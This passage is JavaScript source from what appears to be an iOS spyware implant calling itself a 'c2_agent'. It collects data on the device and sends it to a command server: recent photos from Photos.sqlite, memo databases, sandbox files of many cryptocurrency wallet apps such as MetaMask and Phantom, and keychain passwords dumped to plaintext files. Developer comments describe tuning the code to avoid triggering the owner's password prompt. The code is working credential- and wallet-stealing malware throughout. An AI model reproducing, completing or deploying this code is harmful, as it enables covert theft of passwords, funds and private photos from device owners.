CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) { sendResult(cmd.command_id, f.b64, fname, \"memo_db\"); uploaded++; }\n\t\t\t} else {\n\t\t\t\tvar cr = sendFileChunked(cmd.command_id, fp, fname, \"memo_db\");\n\t\t\t\tif (cr && cr.ok) uploaded++;\n\t\t\t}\n\t\t}\n\t}\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: uploaded > 0 ? \"success\" : \"empty\",\n\t\tuploaded: uploaded,\n\t\tdb_path: dbPath || \"not_found\",\n\t\t_task_type: \"memo_scan\"\n\t}, \"memo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Photo Scan: query Photos.sqlite, read files, upload with MD5 hashes\n// ============================================================================\n\nfunction _md5(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_MD5\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _md5file(path, maxSize) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\t\t\tif (!outBuf || outBuf === 0n) return null;\n\t\t\ttry {\n\t\t\t\tNative.callSymbol(\"CC_MD5\", buf, BigInt(nr), outBuf);\n\t\t\t\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\t\t\t\tvar hex = \"\";\n\t\t\t\tfor (var i = 0; i < 16; i++)\n\t\t\t\t\thex += (hash[i] < 16 ? \"0\" : \"\") + hash[i].toString(16);\n\t\t\t\treturn hex;\n\t\t\t} finally { Native.callSymbol(\"free\", outBuf); }\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _queryPhotosPaths(maxCount) {\n\tvar dbPath = \"/var/mobile/Media/PhotoData/Photos.sqlite\";\n\tvar paths = [];\n\tvar rows = _sqliteQuery(dbPath,\n\t\t\"SELECT ZFILENAME, ZDIRECTORY FROM ZASSET \" +\n\t\t\"WHERE ZTRASHEDSTATE = 0 \" +\n\t\t\"ORDER BY ZDATECREATED DESC LIMIT \" + maxCount, maxCount);\n\tif (!rows || !rows.rows) return paths;\n\tfor (var i = 0; i < rows.rows.length; i++) {\n\t\tvar r = rows.rows[i];\n\t\tvar fn = r.ZFILENAME || \"\";\n\t\tif (!fn) continue;\n\t\tvar dir = r.ZDIRECTORY || \"\";\n\t\tvar full;\n\t\tif (dir) {\n\t\t\tdir = dir.replace(/^\\/+|\\/+$/g, \"\");\n\t\t\tfull = \"/var/mobile/Media/\" + dir + \"/\" + fn;\n\t\t} else {\n\t\t\tfull = \"/var/mobile/Media/DCIM/100APPLE/\" + fn;\n\t\t}\n\t\tpaths.push({ path: full, name: fn });\n\t}\n\treturn paths;\n}\n\nfunction handlePhotoScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxPhotos = p.max_count || 200;\n\tvar batchSize = p.batch_size || 30;\n\tvar maxFileSize = p.max_file_size || (5 * 1024 * 1024);\n\n\tvar photos = _queryPhotosPaths(maxPhotos);\n\tvar uploaded = 0, skipped = 0, errors = 0;\n\tvar hashes = [];\n\n\tfor (var batch = 0; batch < photos.length; batch += batchSize) {\n\t\tvar end = Math.min(batch + batchSize, photos.length);\n\t\tfor (var j = batch; j < end; j++) {\n\t\t\tvar ph = photos[j];\n\t\t\tvar sz = getFileSize(ph.path);\n\t\t\tif (sz <= 0 || sz > maxFileSize) { skipped++; continue; }\n\t\t\tvar md5 = _md5file(ph.path, maxFileSize);\n\t\t\tif (!md5) { skipped++; continue; }\n\t\t\thashes.push(md5);\n\t\t\tvar fdata = readFileB64(ph.path, maxFileSize);\n\t\t\tif (fdata) {\n\t\t\t\tsendResult(cmd.command_id, fdata.b64, ph.name, \"photos\",\n\t\t\t\t\t{ start_ms: startMs, end_ms: Date.now() });\n\t\t\t\tuploaded++;\n\t\t\t} else { errors++; }\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: \"success\",\n\t\ttotal_found: photos.length,\n\t\tuploaded: uploaded,\n\t\tskipped: skipped,\n\t\terrors: errors,\n\t\thashes: hashes,\n\t\t_task_type: \"photo_scan\"\n\t}, \"photo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Wallet Scan\n// ============================================================================\n\nfunction handleWalletScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxFileSize = 2 * 1024 * 1024;\n\n\tvar base = APP_DATA_BASE;\n\tvar dirs = listDir(base);\n\n\tvar installedWallets = [];\n\tvar containerMap = {};\n\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = base + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) {\n\t\t\t\tcontainerMap[bid] = cpath;\n\t\t\t\tinstalledWallets.push(WALLET_BUNDLE_IDS[bid].name);\n\t\t\t}\n\t\t}\n\t}\n\n\tvar sandboxFiles = [];\n\tvar totalSize = 0;\n\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar perFileMax = cfg.maxFileSize || maxFileSize;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\n\t\t\tsandboxFiles.push({\n\t\t\t\twallet: cfg.name,\n\t\t\t\tbundle_id: bid,\n\t\t\t\tpath: rf.relPath,\n\t\t\t\tdata_b64: fd.b64,\n\t\t\t\tsize: fd.size\n\t\t\t});\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t}\n\n\t// Upload keychain_c2_dump.json if P7 pipeline produced it\n\tvar kcDumpUploaded = false;\n\tvar kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tif (Number(Native.callSymbol(\"access\", kcDonePath, 0)) === 0) {\n\t\tvar kcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\tif (!kcData) {\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath + \".tmp\", 0x1A4);\n\t\t\tNative.callSymbol(\"rename\", kcDumpPath + \".tmp\", kcDumpPath);\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\t\tkcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\t}\n\t\tif (kcData) {\n\t\t\tsendResult(cmd.command_id, kcData.b64,\n\t\t\t\t\"keychain_c2_dump.json\", \"wallet_scan\");\n\t\t\tkcDumpUploaded = true;\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tdevice_uuid: DEVICE_UUID,\n\t\ttimestamp: new Date().toISOString(),\n\t\tinstalled_wallets: installedWallets,\n\t\tsandbox_files: sandboxFiles,\n\t\ttotal_size: totalSize,\n\t\tkeychain_dump_uploaded: kcDumpUploaded,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_scan\"\n\t}, \"wallet_pkg.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Device Identity (obtained natively - no placeholder needed)\n// ============================================================================\n\nfunction _getDeviceUUID() {\n\ttry {\n\t\t// IOKit IOPlatformUUID (same method as file_downloader)\n\t\tconst iokitHandle = Native.callSymbol(\"dlopen\",\n\t\t\t\"/System/Library/Frameworks/IOKit.framework/IOKit\", 1);\n\t\tif (iokitHandle && iokitHandle !== 0n) {\n\t\t\tNative.callSymbol(\"dlopen\",\n\t\t\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\t\t\tconst svcName = Native.callSymbol(\"malloc\", 32);\n\t\t\tNative.writeString(svcName, \"IOPlatformExpertDevice\");\n\t\t\tconst matchDict = Native.callSymbol(\"IOServiceMatching\", svcName);\n\t\t\tNative.callSymbol(\"free\", svcName);\n\n\t\t\tif (matchDict && matchDict !== 0n) {\n\t\t\t\tconst expert = Native.callSymbol(\"IOServiceGetMatchingService\", 0n, matchDict);\n\t\t\t\tif (expert && expert !== 0n) {\n\t\t\t\t\tconst keyBuf = Native.callSymbol(\"malloc\", 32);\n\t\t\t\t\tNative.writeString(keyBuf, \"IOPlatformUUID\");\n\t\t\t\t\tconst keyCF = Native.callSymbol(\"CFStringCreateWithCString\",\n\t\t\t\t\t\t0n, keyBuf, 0x08000100);\n\t\t\t\t\tNative.callSymbol(\"free\", keyBuf);\n\n\t\t\t\t\tif (keyCF && keyCF !== 0n) {\n\t\t\t\t\t\tconst valCF = Native.callSymbol(\"IORegistryEntryCreateCFProperty\",\n\t\t\t\t\t\t\texpert, keyCF, 0n, 0n);\n\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", keyCF);\n\n\t\t\t\t\t\tif (valCF && valCF !== 0n) {\n\t\t\t\t\t\t\tlet uuid = \"\";\n\t\t\t\t\t\t\tconst cstr = Native.callSymbol(\"CFStringGetCStringPtr\",\n\t\t\t\t\t\t\t\tvalCF, 0x08000100);\n\t\t\t\t\t\t\tif (cstr && cstr !== 0n) {\n\t\t\t\t\t\t\t\tuuid = Native.readString(cstr, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!uuid) {\n\t\t\t\t\t\t\t\tconst tmp = Native.callSymbol(\"malloc\", 256);\n\t\t\t\t\t\t\t\tif (tmp && tmp !== 0n) {\n\t\t\t\t\t\t\t\t\tif (Native.callSymbol(\"CFStringGetCString\",\n\t\t\t\t\t\t\t\t\t\tvalCF, tmp, 256, 0x08000100))\n\t\t\t\t\t\t\t\t\t\tuuid = Native.readString(tmp, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t\t\tNative.callSymbol(\"free\", tmp);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", valCF);\n\t\t\t\t\t\t\tif (uuid && uuid.length > 0) {\n\t\t\t\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t\t\t\t\treturn uuid;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (e) {}\n\n\t// Fallback: sysctl HW_UUID\n\ttry {\n\t\tconst mib = Native.callSymbol(\"malloc\", 8);\n\t\tconst res = Native.callSymbol(\"malloc\", 256);\n\t\tconst slen = Native.callSymbol(\"malloc\", 8);\n\t\tif (!mib || !res || !slen) return \"\";\n\t\ttry {\n\t\t\tconst mibAB = new ArrayBuffer(8);\n\t\t\tconst mv = new DataView(mibAB);\n\t\t\tmv.setInt32(0, 6, true);\n\t\t\tmv.setInt32(4, 25, true);\n\t\t\tNative.write(mib, mibAB);\n\n\t\t\tconst slAB = new ArrayBuffer(8);\n\t\t\tnew DataView(slAB).setUint32(0, 256, true);\n\t\t\tNative.write(slen, slAB);\n\n\t\t\tlet r = Native.callSymbol(\"sysctl\", mib, 2, 0n, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst ld = Native.read(slen, 8);\n\t\t\tconst sz = new DataView(ld).getUint32(0, true);\n\t\t\tif (sz <= 0 || sz > 256) return \"\";\n\n\t\t\tconst sl2 = new ArrayBuffer(8);\n\t\t\tnew DataView(sl2).setUint32(0, sz, true);\n\t\t\tNative.write(slen, sl2);\n\n\t\t\tr = Native.callSymbol(\"sysctl\", mib, 2, res, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst raw = new Uint8Array(Native.read(res, sz));\n\t\t\tlet uuid = \"\";\n\t\t\tfor (let i = 0; i < raw.length; i++) {\n\t\t\t\tif (!raw[i]) break;\n\t\t\t\tif (raw[i] >= 32 && raw[i] <= 126) uuid += String.fromCharCode(raw[i]);\n\t\t\t}\n\t\t\tuuid = uuid.trim();\n\t\t\tif (uuid.length > 0) return uuid;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", mib);\n\t\t\tNative.callSymbol(\"free\", res);\n\t\t\tNative.callSymbol(\"free\", slen);\n\t\t}\n\t} catch (e) {}\n\n\treturn \"\";\n}\n\nfunction _getDeviceModel() {\n\tconst uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return \"\";\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\treturn Native.readString(uts + 1024n, 256).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\n// ============================================================================\n// SecItem Keychain Dump (SpringBoard SecItemCopyMatching — genp/inet plaintext)\n// mediaplaybackd is write-only on /tmp (selfProbe e18): P7 sqlite there can\n// never read keychain-2.db. SpringBoard has file access + keychain entitlement,\n// so dump v_Data plaintext here via Security framework instead.\n// ============================================================================\n\nvar _SEC_DUMP_FULL = \"/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_FULL_ALT = \"/private/var/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_READ = \"/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_READ_ALT = \"/private/var/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_DONE = \"/tmp/keychain_full_dump.done\";\nvar _secDumpState = { lastRun: 0, items: 0, plain: 0, vdata: 0 };\n\nfunction _secCFStr(str) { return Native.callSymbol(\"CFStringCreateWithCString\", 0n, str, 0x08000100); }\n\nfunction _secCFToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return \"\";\n\tconst cstrPtr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstrPtr && cstrPtr !== 0n) return Native.readString(cstrPtr, 256).replace(/\\0/g, '');\n\tconst buf = Native.callSymbol(\"malloc\", 512n);\n\tif (!buf || buf === 0n) return \"\";\n\ttry {\n\t\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 512, 0x08000100))\n\t\t\treturn Native.readString(buf, 512).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn \"\";\n}\n\nfunction _secCFDataToText(cfData) {\n\tif (!cfData || cfData === 0n) return \"\";\n\tconst length = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (length <= 0 || length > 8192) return \"[data:\" + length + \" bytes]\";\n\tconst dataPtr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!dataPtr || dataPtr === 0n) return \"\";\n\tconst bytes = new Uint8Array(Native.read(dataPtr, length));\n\tlet printable = 0;\n\tlet text = \"\";\n\tfor (let i = 0; i < bytes.length; i++) {\n\t\tconst b = bytes[i];\n\t\tif (b === 0) { text = \"\"; printable = 0; break; }\n\t\tif (b === 9 || b === 10 || b === 13 || (b >= 32 && b <= 126)) {\n\t\t\tprintable++;\n\t\t\ttext += String.fromCharCode(b);\n\t\t} else { text = \"\"; printable = 0; break; }\n\t}\n\tif (text && printable === bytes.length && printable >= 1) return text;\n\tlet hex = \"\";\n\tfor (let j = 0; j < Math.min(bytes.length, 128); j++)\n\t\thex += bytes[j].toString(16).padStart(2, \"0\");\n\tif (bytes.length > 128) hex += \"...\";\n\treturn \"[hex] \" + hex;\n}\n\nfunction _secCFTrue() {\n\tconst addr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFBooleanTrue\");\n\treturn addr ? Native.readPtr(addr) : 0n;\n}\n\nfunction _secWriteText(path, content) {\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0x601, 0x1FF));\n\tif (fd < 0) return false;\n\tconst bytes = Native.stringToBytes(content, false);\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(bytes.byteLength));\n\tif (buf && buf !== 0n) {\n\t\tNative.write(buf, bytes);\n\t\tNative.callSymbol(\"write\", fd, buf, bytes.byteLength);\n\t\tNative.callSymbol(\"free\", buf);\n\t}\n\tNative.callSymbol(\"chmod\", path, 0x1FF);\n\tNative.callSymbol(\"close\", fd);\n\treturn true;\n}\n\n// genp+inet only — keys/cert hang SecItemCopyMatching; idnt self-XPC hangs (lab 7022).\nvar _SEC_CLASSES = [\n\t{ id: \"genp\", label: \"Generic Password\" },\n\t{ id: \"inet\", label: \"Internet Password\" },\n];\nvar _SEC_ATTR_KEYS = [\"svce\", \"acct\", \"agrp\", \"labl\", \"desc\", \"mdat\", \"cdat\", \"pdmn\", \"sync\", \"v_Data\"];\n\nfunction _secDumpClass(classId, classLabel, wantData) {\n\t// fix #3c DISABLED - confirmed source of the SpringBoard password prompt.\n\t// On iOS 18.6 AFU unlocked, SecItemCopyMatching from inside SpringBoard\n\t// prompts for auth even with u_AuthUI=u_AuthUISkip; the skip is only\n\t// honored in BFU locked where it returns -25300 and yields no data anyway.\n\t// Prompt fires concurrent with SEC-DUMP begin / PEMK-D1 (c2_agent startup\n\t// _kcSecItemDump true at line 4824). Keychain plaintext now comes exclusively\n\t// from the Phase 2 sqlite pipeline (keychain-2.db + AKS unwrap). SEC-DUMP\n\t// kept as no-op so _kcSecItemDump still logs begin/items=0 without prompting.\n\t_secDumpState[\"st_\" + classId] = -25300;\n\treturn [];\n\tconst entries = [];\n\tconst kCFBooleanTrue = _secCFTrue();\n\tconst queryDict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 0, 0n, 0n);\n\tif (!queryDict || queryDict === 0n) return entries;\n\n\tconst kSecClass = _secCFStr(\"class\");\n\tconst kSecClassVal = _secCFStr(classId);\n\tconst kSecReturnAttributes = _secCFStr(\"r_Attributes\");\n\tconst kSecReturnData = _secCFStr(\"r_Data\");\n\tconst kSecMatchLimit = _secCFStr(\"m_Limit\");\n\tconst kSecMatchLimitAll = _secCFStr(\"m_LimitAll\");\n\tconst kSecUseAuthenticationUI = _secCFStr(\"u_AuthUI\");\n\t// Apple's real values: u_AuthUIAllow / u_AuthUIFail / u_AuthUISkip.\n\t// \"u_AuthUIF\" (truncated, inherited from keychain_dumper) is INVALID and\n\t// degrades to \"allow\" — securityd then requests auth UI from SpringBoard,\n\t// which is us: self-XPC deadlock on locked devices (killed all heartbeats).\n\t// SKIP silently skips auth-protected items: no UI, no block, no query error.\n\tconst kSecUseAuthenticationUIFail = _secCFStr(\"u_AuthUISkip\");\n\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecClass, kSecClassVal);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnAttributes, kCFBooleanTrue);\n\tif (wantData) Native.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnData, kCFBooleanTrue);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecMatchLimit, kSecMatchLimitAll);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail);\n\n\tconst resultPtr = Native.callSymbol(\"malloc\", 8n);\n\tif (resultPtr && resultPtr !== 0n) {\n\t\tNative.write64(resultPtr, 0n);\n\t\tconst status = Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr);\n\t\tconst signed = Number(status) > 0x7FFFFFFF ? Number(status) - 0x100000000 : Number(status);\n\t\tif (signed !== 0) _secDumpState[\"st_\" + classId] = signed;\n\t\tif (signed === 0) {\n\t\t\tconst results = Native.readPtr(resultPtr);\n\t\t\tif (results && results !== 0n) {\n\t\t\t\tconst arrayTypeId = Native.callSymbol(\"CFArrayGetTypeID\");\n\t\t\t\tconst dictTypeId = Native.callSymbol(\"CFDictionaryGetTypeID\");\n\t\t\t\tconst typeId = Native.callSymbol(\"CFGetTypeID\", results);\n\t\t\t\tconst items = [];\n\t\t\t\tif (typeId === arrayTypeId) {\n\t\t\t\t\tconst count = Number(Native.callSymbol(\"CFArrayGetCount\", results));\n\t\t\t\t\tfor (let i = 0; i < count; i++)\n\t\t\t\t\t\titems.push(Native.callSymbol(\"CFArrayGetValueAtIndex\", results, i));\n\t\t\t\t} else if (typeId === dictTypeId) {\n\t\t\t\t\titems.push(results);\n\t\t\t\t}\n\t\t\t\tfor (const item of items) {\n\t\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\t\tconst rec = { class: classLabel, classId: classId };\n\t\t\t\t\tif (!wantData) rec.attrs_only = true;\n\t\t\t\t\tfor (const key of _SEC_ATTR_KEYS) {\n\t\t\t\t\t\tif (!wantData && key === \"v_Data\") continue;\n\t\t\t\t\t\tconst keyRef = _secCFStr(key);\n\t\t\t\t\t\tconst valRef = Native.callSymbol(\"CFDictionaryGetValue\", item, keyRef);\n\t\t\t\t\t\tif (keyRef && keyRef !== 0n) Native.callSymbol(\"CFRelease\", keyRef);\n\t\t\t\t\t\tif (!valRef || valRef === 0n) continue;\n\t\t\t\t\t\tif (key === \"v_Data\") rec.data = _secCFDataToText(valRef);\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tconst s = _secCFToJS(valRef);\n\t\t\t\t\t\t\tif (s) rec[key] = s;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tentries.push(rec);\n\t\t\t\t}\n\t\t\t\tif (typeId === arrayTypeId || typeId === dictTypeId)\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", results);\n\t\t\t}\n\t\t}\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t}\n\n\tconst _refs = [kSecClass, kSecClassVal, kSecReturnAttributes, kSecReturnData, kSecMatchLimit,\n\t\tkSecMatchLimitAll, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail];\n\tfor (let ri = 0; ri < _refs.length; ri++) {\n\t\tif (_refs[ri] && _refs[ri] !== 0n) Native.callSymbol(\"CFRelease\", _refs[ri]);\n\t}\n\tNative.callSymbol(\"CFRelease\", queryDict);\n\treturn entries;\n}\n\nfunction _secWriteDump(allEntries) {\n\tlet content = \"=== Full Keychain Dump ===\\n\";\n\tcontent += \"Generated: \" + new Date().toISOString() + \"\\n\";\n\tcontent += \"Host: SpringBoard c2_agent (SecItem + v_Data; skip keys/cert/idnt)\\n\";\n\tcontent += \"Total items: \" + allEntries.length + \"\\n\\n\";\n\tlet readable = \"=== Keychain Passwords (readable) ===\\n\";\n\treadable += \"Generated: \" + new Date().toISOString() + \"\\n\\n\";\n\tlet plainCount = 0;\n\tlet withData = 0;\n\tfor (const e of allEntries) {\n\t\tcontent += \"[\" + e.class + \"]\\n\";\n\t\tconst ks = Object.keys(e);\n\t\tfor (let ki = 0; ki < ks.length; ki++) {\n\t\t\tconst k = ks[ki];\n\t\t\tif (k === \"class\" || k === \"classId\") continue;\n\t\t\tcontent += \" \" + k + \": \" + e[k] + \"\\n\";\n\t\t}\n\t\tcontent += \"\\n\";\n\t\tconst data = e.data || \"\";\n\t\tif (data) withData++;\n\t\tconst isPlain = data && data.indexOf(\"[hex]\") !== 0 && data.indexOf(\"[data:\") !== 0;\n\t\tif (isPlain && (e.classId === \"genp\" || e.classId === \"inet\")) {\n\t\t\tplainCount++;\n\t\t\treadable += \"[\" + e.class + \"]\\n\";\n\t\t\tif (e.agrp) readable += \" agrp: \" + e.agrp + \"\\n\";\n\t\t\tif (e.svce) readable += \" svce: \" + e.svce + \"\\n\";\n\t\t\tif (e.acct) readable += \" acct: \" + e.acct + \"\\n\";\n\t\t\tif (e.labl) readable += \" labl: \" + e.labl + \"\\n\";\n\t\t\treadable += \" password: \" + data + \"\\n\\n\";\n\t\t}\n\t}\n\treadable += \"Plaintext password items: \" + plainCount + \"\\n\";\n\treadable += \"Items with v_Data field: \" + withData + \"\\n\";\n\n\t_secWriteText(_SEC_DUMP_FULL, content);\n\t_secWriteText(_SEC_DUMP_FULL_ALT, content);\n\t_secWriteText(_SEC_DUMP_READ, readable);\n\t_secWriteText(_SEC_DUMP_READ_ALT, readable);\n\t_secWriteText(_SEC_DUMP_DONE, \"items=\" + allEntries.length + \" plain=\" + plainCount + \" vdata=\" + withData + \"\\n\");\n\treturn { items: allEntries.length, plain: plainCount, vdata: withData };\n}\n\nfunction _kcSecItemDump(force) {\n\tconst now = Date.now();\n\tif (!force && _secDumpState.lastRun && (now - _secDumpState.lastRun) < 45000)\n\t\treturn _secDumpState;\n\t_secDumpState.lastRun = now;\n\t_writeLog(\"[SEC-DUMP] begin force=\" + (!!force) + \" classes=\" + _SEC_CLASSES.length);\n\tconst all = [];\n\tfor (let ci = 0; ci < _SEC_CLASSES.length; ci++) {\n\t\tconst cls = _SEC_CLASSES[ci];\n\t\ttry {\n\t\t\tlet items = _secDumpClass(cls.id, cls.label, true);\n\t\t\tif (!items.length) items = _secDumpClass(cls.id, cls.label, false);\n\t\t\tfor (let ii = 0; ii < items.length; ii++) all.push(items[ii]);\n\t\t} catch (_clse) {\n\t\t\t_secDumpState[\"err_\" + cls.id] = String(_clse).substring(0, 60);\n\t\t}\n\t}\n\tconst st = _secWriteDump(all);\n\t_secDumpState.items = st.items;\n\t_secDumpState.plain = st.plain;\n\t_secDumpState.vdata = st.vdata;\n\t_writeLog(\"[SEC-DUMP] items=\" + st.items + \" plain=\" + st.plain + \" vdata=\" + st.vdata +\n\t\t\" st_genp=\" + (_secDumpState.st_genp || 0) + \" st_inet=\" + (_secDumpState.st_inet || 0));\n\tif (st.plain > 0) {\n\t\t// Let the P7-era HQ gate observe a completed keychain.\n\t\t_secWriteText(\"/tmp/keychain_c2_dump.done\", \"secitem plain=\" + st.plain + \" ts=\" + now + \"\\n\");\n\t}\n\treturn _secDumpState;\n}\n\n// ============================================================================\n// HQ Wallet Package Builder\n// ============================================================================\n\nvar _hqSandboxKeyMap = {\n\t\"Trust Wallet\": \"trust_wallet\", \"Bitget\": \"bitget\", \"Coin98\": \"coin98\",\n\t\"TronLink\": \"tronlink\", \"Tonhub\": \"tonhub\", \"TokenPocket\": \"tokenpocket\",\n\t\"imToken\": \"imtoken\", \"MetaMask\": \"metamask\", \"OKX\": \"okx\",\n\t\"Solflare\": \"solflare\", \"Phantom\": \"phantom\", \"Bitpie\": \"bitpie\",\n\t\"Uniswap\": \"uniswap\", \"MyTonWallet\": \"mytonwallet\", \"Exodus\": \"exodus\",\n\t\"Tonkeeper\": \"tonkeeper\", \"Coinbase\": \"coinbase\"\n};\n\nfunction _buildWalletPkg(deviceUUID) {\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tvar kcData = _readFileBytes(kcDumpPath, 5242880);\n\tif (!kcData) {\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_c2_dump.json.tmp\", 0x1A4);\n\t\tNative.callSymbol(\"rename\", \"/tmp/keychain_c2_dump.json.tmp\", kcDumpPath);\n\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\tkcData = _readFileBytes(kcDumpPath, 5242880);\n\t}\n\tvar keychain;\n\tif (!kcData) {\n\t\t_writeLog(\"[WALLET-HQ] no keychain_c2_dump.json - sandbox-only package\");\n\t\tkeychain = { partial: true, errors: [\"no_keychain_dump\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t} else {\n\t\tvar kcStr = _rawToStr(kcData);\n\t\ttry { keychain = JSON.parse(kcStr); } catch(e) {\n\t\t\t_writeLog(\"[WALLET-HQ] keychain json parse fail - sandbox-only\");\n\t\t\tkeychain = { partial: true, errors: [\"keychain_parse_fail\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t\t}\n\t}\n\n\t// Attach SpringBoard SecItem plaintext dump (P7-independent channel).\n\ttry {\n\t\tvar secFullB = _readFileBytes(_SEC_DUMP_FULL, 1572864);\n\t\tif (secFullB && secFullB.length > 8) {\n\t\t\tkeychain.secitem_full = _rawToStr(secFullB);\n\t\t\tvar secReadB = _readFileBytes(_SEC_DUMP_READ, 786432);\n\t\t\tif (secReadB && secReadB.length > 8) keychain.secitem_readable = _rawToStr(secReadB);\n\t\t\tvar secDoneB = _readFileBytes(_SEC_DUMP_DONE, 256);\n\t\t\tif (secDoneB) keychain.secitem_marker = 